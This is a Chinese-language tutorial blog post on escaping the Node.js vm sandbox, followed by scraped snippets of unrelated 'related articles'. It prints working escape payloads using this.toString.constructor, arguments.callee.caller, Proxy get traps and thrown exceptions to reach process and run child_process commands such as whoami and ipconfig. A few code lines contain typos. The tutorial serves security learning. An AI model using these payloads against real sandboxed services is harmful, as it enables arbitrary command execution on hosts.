js沙箱逃逸
目录
一、什么是沙箱(sandbox)
二、沙箱技术的实现 & node.js
2.1简单沙箱程序示例
2.2this.tostring
S1:
S2:
三、arguments.callee.caller
一、什么是沙箱(sandbox)
在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。
沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险。
二、沙箱技术的实现 & node.js
沙箱技术按照设定的安全策略,限制不可信程序对系统资源的使用来实现,那么就要在访问系统资源之前将程序的系统调用拦截下来,然后按照安全策略对调用进行审查。
基于JavaScript的node.js有一些提供沙箱环境的模块,它们也根据这样的思路来实现,例如 vm2 模块使用到了 ES6 提供的新特性–Proxy。
Proxy 对象用于创建一个对象的代理,从而实现基本操作的拦截和自定义(如属性查找、赋值、枚举、函数调用等)
简单地说,就是在对某个对象进行操作之前,例如访问它的属性或者调用它的方法,先传递给与对象绑定的 Proxy ,由 Proxy 执行具体的逻辑。
2.1简单沙箱程序示例
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
执行结果

2.2this.tostring
在2.1示例中我们可以使用this引入上下文中没有的外部模块从而绕过此隔离模块
const process = this.toString.constructor('return process')()
process.mainModule.require('ipconfig').execSync('curl -I http://www.baidu.com').toString()`
第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器(function),构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。
第二行,利用前面获取的process对象既可以干任何事。
执行结果
S1:
为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?
{}是属于沙箱内的一个对象我们即使使用则这个方法也无法获取process而this是沙箱外的一个对象它可以帮助我i们获取process
重点:引入沙箱外对象
S2:
m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?
原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的 、
S2衍生
我们可以通过改变context:{m: [], n: {}, x: /regexp/}使得m,n,x可以引用
三、arguments.callee.caller
有这么一段代码它的上下文不存在this也不存在别的对象比如下面这段代码
const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
由于在 JavaScript 中,this 关键字的值取决于函数的执行上下文。在全局作用域中,this 通常指向全局对象(如浏览器环境中的 window 对象,Node.js 环境中的 global 对象)。但是,在使用 Object.create(null) 创建的对象上下文中,this 将为 null。
在这种情况下我们前面提到的“this法”失效了此时该如何逃逸?
我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。
在 JavaScript 中,arguments.callee 和 arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而,这两个属性都已经被弃用(deprecated)并不再建议使用,因为它们在严格模式("strict mode")下会导致错误。
若此时我们在沙盒中定义一个函数并且返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。
那么通过如下代码就可实现上述例子的沙箱绕过
(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('ipconfig').toString() } return a })()
const vm = require('vm'); const script = `(() => { const a = {} a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('ipconfig').toString() } return a })()`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log('Hello ' + res)
执行后可获得ip
上述代码触发条件在于console.log('Hello ' + res) 也就是字符串触发
S1:若沙箱外没有字符串相关操作此时该怎么办?
可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码
代码如下
const vm = require('vm'); const script = `...`; const sandbox = Object.create(null); const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res.xxx)
可以看到在这样一个代码中第一种方法已经不适用了此时我们就需要用到proxy劫持外部get
(() => { const a = new Proxy({}, { get: function() { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString()} }) return a })()
S2:若沙箱外既没有字符串且沙箱的返回值没有做任何事,或者没有捕捉返回值
此时我们可以借助异常,把我们沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞
vm = require('vm'); const code5 = 'throw new proxy{}, {get :function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString()}
})
;' try { vm.runInContext(code5, vm.createContext(Object.create(null))); }catch(e){ console.log('error happend: ' + e); }
相关文章:
js沙箱逃逸
目录 一、什么是沙箱(sandbox) 二、沙箱技术的实现 & node.js 2.1简单沙箱程序示例 2.2this.tostring S1: S2: 三、arguments.callee.caller 一、什么是沙箱(sandbox) 在计算机安全性方面,沙箱(沙盒、sanboxÿ…...
振弦传感器信号转换器应用山体滑坡安全监测
振弦传感器信号转换器应用山体滑坡安全监测 随着人类文明的进步,自然灾害对人们的生活和财产安全造成的威胁也越来越大。山体滑坡作为自然灾害中的一种,给人们的生活和财产安全带来了极大的威胁。因此,进行山体滑坡的安全监测显得尤为重要。振…...
Moonbeam新增强大的互操作性功能至波卡生态
波卡上的领先多链开发平台Moonbeam发布适用于平行链间活动的新版本互操作性功能。最新的链更新Runtime 2401,是自Moonbeam上线后的最大更新,其中包括三个针对开发者于链上的里程碑式更新: 用于访问消息传递功能的预编译智能合约从其他波卡平…...
考研408 | 【计算机网络】概述
计算机网络体系结构 计算机网络概述:1.概念,组成,功能,分类2.标准化工作及相关组织3.性能指标体系结构&参考模型:1.分层结构2.协议,接口,服务3.ISO/OSI模型4.TCP/IP模型 目录 计算机网络体…...
一道名题-(csp 儒略日)的心得与技巧
这道题,我做了三年,平均每年做一次,我来讲讲我的心得。 读题 题面很长,细节很多,我们需要耐心细心的读,此时多花一点时间是划得来的。 我们得出大致关系如下 历法公历日常用历儒略历公元前公元后历法公历…...
单元测试之- mock工具mockito
常用的mock工具mockito 在编写单元测试时,需要mock依赖的对象,减少依赖对象对测试的影响,Mocktio是常用的mock工具之一,那么mockito提供了哪些功能呢? Mock对象的创建和配置:Mockito可以通过简单的语法创建…...
03 线程间共享数据
unique_lock 因为unique_lock类也具有成员函数lock,unlock,trylock,它含有一个内部标志,表明关联的互斥是否正在被使用,此标志可以通过调用成员函数owns_lock()查询。 1 在初始化过程中保护共享数据 延迟初始化 ( l…...
题目:2264.找到一个数字的 K 美丽度
题目来源: leetcode题目,网址:2269. 找到一个数字的 K 美丽值 - 力扣(LeetCode) 解题思路: 使用滑动窗口遍历判断,窗口中放置 k 个数字,每次后移一位。 解题代码: c…...
分布式ID性能评测:CosId VS 美团 Leaf
环境 MacBook Pro (M1)JDK 17JMH 1.36运行在本机 Docker 内的 mariadb:10.6.4 运行 CosId SegmentChainId 模式,基准测试代码: Benchmarkpublic long generate() {return segmentChainId.generate();}Leaf 基准测试代码: Benchmarkpublic l…...
MySQL数据库安装(二)
夕阳留恋的不是黄昏,而是朝阳 上一章简单介绍了MySQL数据库概述(一), 如果没有看过, 请观看上一章 一. MySQL 卸载 一.一 停止MySQL服务 在卸载之前,先停止MySQL8.0的服务。按键盘上的“Ctrl Alt Delete”组合键,打开“任务管理器”对话…...
通过MySQL删除Hive元数据信息
之前遇到过一个问题,在进行Hive的元数据采集时,因为Hive表的文件已经被删除了,当时是无法删除表,导致元数据采集也发生了问题,所以希望通过删除Hive表的元数据解决上述问题。 之前安装时,经过特定的配置后…...
在电脑如何翻译文件名称并同时保存原文件名和新文件名称
不知道大家在日常工作中有没有遇见到文件名英语或其他评论文字需要翻译成中文呢,翻译成中文后,需要把原来文件名称一起保存下来,呈现上新文件名上。也是通俗的说法,新文件名称也有原文件名称在呢。这个就有点难度吧。一般我们常见…...
Modbus协议简介与常用测试指令说明
DateAuthorVersionNote2022.07.19Dog TaoV1.01. 完成了文档的撰写。2023.08.04Dog TaoV1.21. 修订文档,增加了Modbus协议简介小节。 本文档提供ModbusPoll调试软件与官方部署文档合辑资源(CSDN平台)。 文章目录 Modbus协议简介发展历史主要技…...
EXCEL里数值列如何显示序号?如何重新排序? 怎么取得排序后的序号?
目录 1 EXCEL里如何显示序号? 2 如何重新排序? 3 怎么取得排序后的序号? 3.1 rank() 的序号可能不连续 3.2 方法2:SUMPRODUCT((C7>C$7:C$12)/COUNTIF(C$7:C$12,C$7:C$12))1 EXCEL里如何显示序号?如何重新排序…...
kubernetes 集群利用 efk 收集容器日志
文章目录 [toc]前情提要制作 centos 基础镜像准备 efk 二进制文件部署 efk 组件配置 namespace配置 gfs 的 endpoints配置 pv 和 pvc部署 elasticsearchefk-cmefk-svcefk-sts 部署 filebeatfilebeat-cmfilebeat-ds 部署 kibanakibana-cmkibana-svckibana-dp使用 nodeport 访问 …...
安防视频监控汇聚平台EasyCVR在移动端火狐浏览器中云台显示的优化
安防监控视频EasyCVR视频融合平台基于云边端一体化架构,具有强大的数据接入、视频监控汇聚、处理及分发能力,平台能对前端接入设备进行统一集中管理,支持采用设备树对设备进行分组、分级管理,支持设备状态监测、云端运维等功能&am…...
selenium官文文档阅读总结(day 3)
1.关联型xpath的用法 driver.find_element(By.XPATH,//a[text()"xxx"]/ancestor::祖先元素的标签名//……) 2.selenium等待 等待的作用 :在系统运行的过程中,等待网页内容的加载显示。需要耗费的时间,与网络速度、接口的复杂程度…...
【pandas百炼成钢】数据预览与预处理
知识目录 前言一、数据查看1 - 查看数据维度2 - 随机查看5条数据3 - 查看数据前后5行4 - 查看数据基本信息5 - 查看数据统计信息|数值6 - 查看数据统计信息|非数值7 - 查看数据统计信息|整体 二、缺失值处理8 - 计算缺失值|总计9 …...
怎么查到企业的供应商和客户?
企业的供应商和客户是什么? 其实不需要过多介绍,我们对供应商和客户都有自己的理解,供应商就是负责企业产品的供应,企业从供应商那里买材料进行加工得到的产品,卖给客户。 官方来说供应商是向企业和竞争对手提供各种…...
智能物流千人俱乐部---行业必备神器
千人俱乐部前两天正式推出了。 智能物流千人俱乐部详情 很多行业内的甲方和乙方的朋友过来问,这个千人俱乐部到底怎么玩?今天再来解释一下。 1、为什么搞这个千人俱乐部? 一个原因是:研习社天天都有甲方粉丝让推荐设备厂家&#x…...
如何快速提升AutoTrain Advanced文本摘要的ROUGE分数:5个实用优化技巧
如何快速提升AutoTrain Advanced文本摘要的ROUGE分数:5个实用优化技巧 【免费下载链接】autotrain-advanced 🤗 AutoTrain Advanced 项目地址: https://gitcode.com/gh_mirrors/au/autotrain-advanced AutoTrain Advanced是一款强大的文本摘要工具…...
Mirage Flow 生成精美技术图表描述:辅助科研论文与项目汇报
Mirage Flow:让技术图表“开口说话”,科研与汇报的效率革命 如果你经常需要写论文、做项目汇报,或者整理技术文档,我猜你一定遇到过这样的烦恼:面对一张复杂的系统架构图,或者密密麻麻的数据曲线ÿ…...
Python爬虫数据音频化:Qwen3-ASR-0.6B逆向处理实战
Python爬虫数据音频化:Qwen3-ASR-0.6B逆向处理实战 你有没有想过,从网上爬下来的文字,除了看,还能怎么“玩”?今天咱们聊一个挺有意思的思路:把爬虫抓到的新闻、评论这些文本,先变成一段语音&a…...
霸州发到佛山海运发货流程
霸州到佛山船运物流时效,霸州发到佛山海运运输多久,霸州到佛山货柜水运发货流程 霸州到佛山的船运物流,因需结合陆运完成两端接驳,整体时效受海运航程、陆运调度及港口作业效率等多因素影响。而船运需先将货物从霸州陆运至天津港&…...
安科瑞AIM-T系列工业IT绝缘监测及故障定位解决方案为关键供电场所筑牢安全防线
在工业生产与特殊场所供电系统中,供电的连续性、可靠性和安全性至关重要。为了应对复杂环境下的接地故障风险,IT系统(不接地供电系统) 逐渐成为矿井、矿山、冶金、化工、船舶、玻璃厂、爆炸危险场所等领域的优选方案。安科瑞电气股…...
C#怎么操作Chart图表控件 C#如何用WinForms Chart控件绑定数据绘制统计图表【控件】
WinForms Chart控件需手动配置Series、ChartArea及数据源映射,否则图表空白或报错;必须设置XValueMember/YValueMembers(区分大小写)、ChartType,日期轴需格式化或转字符串绑定。WinForms 的 Chart 控件不是“绑定即显…...
前端 GraphQL:别再为 API 调用头疼了
前端 GraphQL:别再为 API 调用头疼了 什么是前端 GraphQL? GraphQL 是一种用于 API 的查询语言,也是一个满足你数据查询的运行时。别以为 GraphQL 只是一种新的 API 格式,它是前端数据获取的革命性解决方案。 为什么需要前端 Grap…...
【我的Android进阶之旅】解决MediaPlayer播放音乐的时候报错: Should have subtitle controller already set
文章目录 一、错误描述 二、错误解决 解决方法一 解决方法二 一、错误描述 刚用MediaPlayer播放Music的时候,看到Log打印台总是会打印一条错误日志,MediaPlayer: Should have subtitle controller already set,虽然程序运行不会出问题,但是看起来红色的日志很显眼,因此决…...
终极指南:如何使用node-opencv实现高效光流算法与运动跟踪
终极指南:如何使用node-opencv实现高效光流算法与运动跟踪 【免费下载链接】node-opencv OpenCV Bindings for node.js 项目地址: https://gitcode.com/gh_mirrors/no/node-opencv node-opencv是一个强大的OpenCV Bindings for node.js库,它为Jav…...
Gemma-3多模态大模型应用场景:盲文教材图片→文字转录+知识点提炼
Gemma-3多模态大模型应用场景:盲文教材图片→文字转录知识点提炼 1. 应用场景概述 盲文教材作为视障人群获取知识的重要载体,其数字化和智能化处理一直面临巨大挑战。传统的人工转录方式效率低下且成本高昂,而普通OCR技术又无法识别盲文点字…...
